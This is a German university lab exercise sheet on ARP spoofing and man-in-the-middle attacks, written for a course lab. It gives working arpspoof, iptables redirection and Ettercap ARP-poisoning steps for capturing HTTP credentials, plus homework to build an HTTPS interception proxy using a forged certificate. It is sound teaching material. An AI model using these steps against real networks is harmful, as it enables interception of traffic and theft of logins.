Netzwerksicherheit WS 2007/08

Transcrição

Netzwerksicherheit WS 2007/08
Falko Dressler,Tobias Limmer,Martin Gründl,Thomas Schneider
Netzwerksicherheit WS 2007/08
ARP-Spoofing
18.12.2007
In dieser Übung wird ein Angriff auf das ARP-Protokoll behandelt, mit dem Verbindungen mitgelesen und die übertragenen Daten verändert werden können. Diese Kategorie von
Angriffen wird häufig auch als Man-In-The-Middle-Angriff bezeichnet.
Übungsablauf
1. Gruppen mit jeweils mindestens 3 Teilnehmern bilden. Um alle Vorgänge beobachten
zu können, sollten alle Teilnehmer in einer Reihe sitzen und sich jeweils auf einem der
drei beteiligten Rechner einloggen.
2. Jeweils über die faui7t1 auf einem der drei beteiligten Rechner einloggen:
• ssh -Y <Login>@faui7t1
– ssh -Y root@pc<Gruppe>-1
– ssh -Y root@pc<Gruppe>-2
– ssh -Y root@router<Gruppe>-1
3. Mit dem Kommando arp kann die aktuelle ARP-Tabelle eines Rechners ausgegeben
werden.
4. Auf den Rechnern das Programm Wireshark starten und Sniffing auf dem Interface
eth1 starten.
wireshark &
5. Nun die Rechner untereinander pingen, die jeweiligen Pakete(ARP und ICMP) in Wireshark beobachten und den Betreuer rufen.
ping 192.168.10<gruppe>.(1|2|254)
6. Einen HTTP-Request auf den Webserver eines anderen Rechners starten und im Sniffer
beobachten.
wget http://192.168.10<gruppe>.(1|2|254)
1
7. Mit dem Werkzeug arpspoof einen Angriff auf pc1 starten und die Kommunikation zu
pc2 auf router1 umleiten.
arpspoof -i eth1 -t <IP von PC1> <IP von PC2>
Was passiert nun, wenn man ein Ping oder einen HTTP-Request von pc1 auf pc2 startet? Warum sieht pc2 die Pakete nicht? Was kommt bei router1 an? Warum bekommt
der Client auf pc1 keine Antwort? Die Ergebnisse diskutieren und den Betreuer rufen.
8. router1 als IP-Router konfigurieren, Pakete auf Port 80 annehmen und an den lokalen
Webserver(ebenfalls Port 80) weiterleiten.
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 80 -j REDIRECT --to-port 80
Die Umleitung muss nach dem Experiment wieder mit iptables -t nat -F entfernt
werden, um später ungewollte Seiteneffekte zu vermeiden!
9. Den manuell ausgeführten Angriff nun automatisiert mit Hilfe von Ettercap ausführen.
Dazu muss Ettercap auf dem Router der Gruppe gestartet werden.
Die Menüs von Ettercap können jeweils durch Eingabe von <Shift>+<Anfangsbuchstabe
des Menütitels> aufgerufen werden. In den Menüs selbst kann mit den Pfeiltasten navigiert werden.
ettercap -C
• Sniff → Unified Sniffing..., Interface eth1 auswählen
• Hosts → Scan for hosts
• Targets → Select TARGET(s)
– /192.168.10<gruppe>.1/
– /192.168.10<gruppe>.2/
• Start → Start Sniffing
• Mitm → Arp Poisoning
– keine Parameter angeben
• View → Connections
10. Nun einen HTTP-Request mit beliebigem Username und Passwort von pc<gruppe>-1
auf pc<gruppe>-2 starten.
In Ettercap wird die Verbindung angezeigt und in dem Fenster User Messages werden
der Benutzername und das Passwort angezeigt.
wget http://<Benutzername>:<Passwort>@192.168.10<gruppe>.2
11. Ettercap beenden.
• Start → Exit
Leider funktioniert das automatische “Aufräumen” der Forwarding-Tabelle nicht. Daher bitte nach dem Beenden von Ettercap das Kommando iptables -t nat -F ausführen,
um die entsprechenden Einträge zu entfernen.
2
Hausaufgabe
Implementieren Sie einen HTTPS-Proxy, mit dem gezeigt werden kann, dass Man-In-TheMiddle Attacken (z.B. via ARP-Spoofing) auch auf HTTPS (z.B. Online-Banking) möglich
sind, wenn Zertifikate nicht sauber geprüft werden (z.B. wenn einem self-signed Root-Zertifikat
leichtsinnig vertraut wird).
Der HTTPS-Proxy soll auf dem in der vergangenen Übung erweiterten wserver und wclient
basieren, ebenfalls hierarchische Zertifikate unterstützen und mit folgenden Argumenten aufgerufen werden:
wproxy -p clientPort -i serverIP -c attackcert.pem
Der HTTPS-Proxy führt client-seitig ein “SSL-listen” auf dem “clientPort” (im Bsp. 4444)
aus und verwendet als gefälschtes Serverzertifikat das Zertifikat aus “attackcert.pem”. Für jede “accept”-ierte SSL Verbindung vom HTTPS-Client (wclient) wird eine neue SSL-Verbindung
zum HTTPS-Server (wserver) unter der IP “serverIP” aufgebaut. GET-Request des Clients
und darauffolgende HTTP-Response des Servers werden transparent weitergeleitet, auf dem
Proxy auf “stdout” ausgegeben und beide SSL-Verbindungen ordnungsgemäß beendet.
Client
Server
wclient -h proxyIP -p 4444 -v
wserver
SSL
Proxy (Attacker)
IP: serverIP
Port: 4433
SSL
IP: proxyIP
Port: 4444
wproxy -p 4444 -i serverIP -c attackcert.pem
Technische Hinweise:
• Die Aufgaben sind in C/C++ mit OpenSSL oder Java (no support !) zu erstellen.
• Der Code muss auf dem Betriebssystem Debian/Linux im CIP-Pool der Informatik mit
der dort installierten Version des GNU C/C++- oder Java-Compilers kompilieren und
lauffähig sein.
• Es ist ein Makefile oder ein ausführbares Skript zu bereitzustellen, welches temporäre
Daten löschen (Target clean“) und eine Binärdatei (Target all“) erstellen kann.
”
”
• Es ist eine Dokumentation im ASCII-Format zu erstellen, welche einen typischen Programmstart dokumentiert und über Besonderheiten des Programms berichtet.
Fragen und Abgabe der Lösungen bis Montag, den 7.1.2008 als Archiv im Format
.tar.(gz|bz2) oder .zip per Mail an [email protected]
und [email protected].
Frohe Weihnachten und einen guten Rutsch ins neue Jahr !
3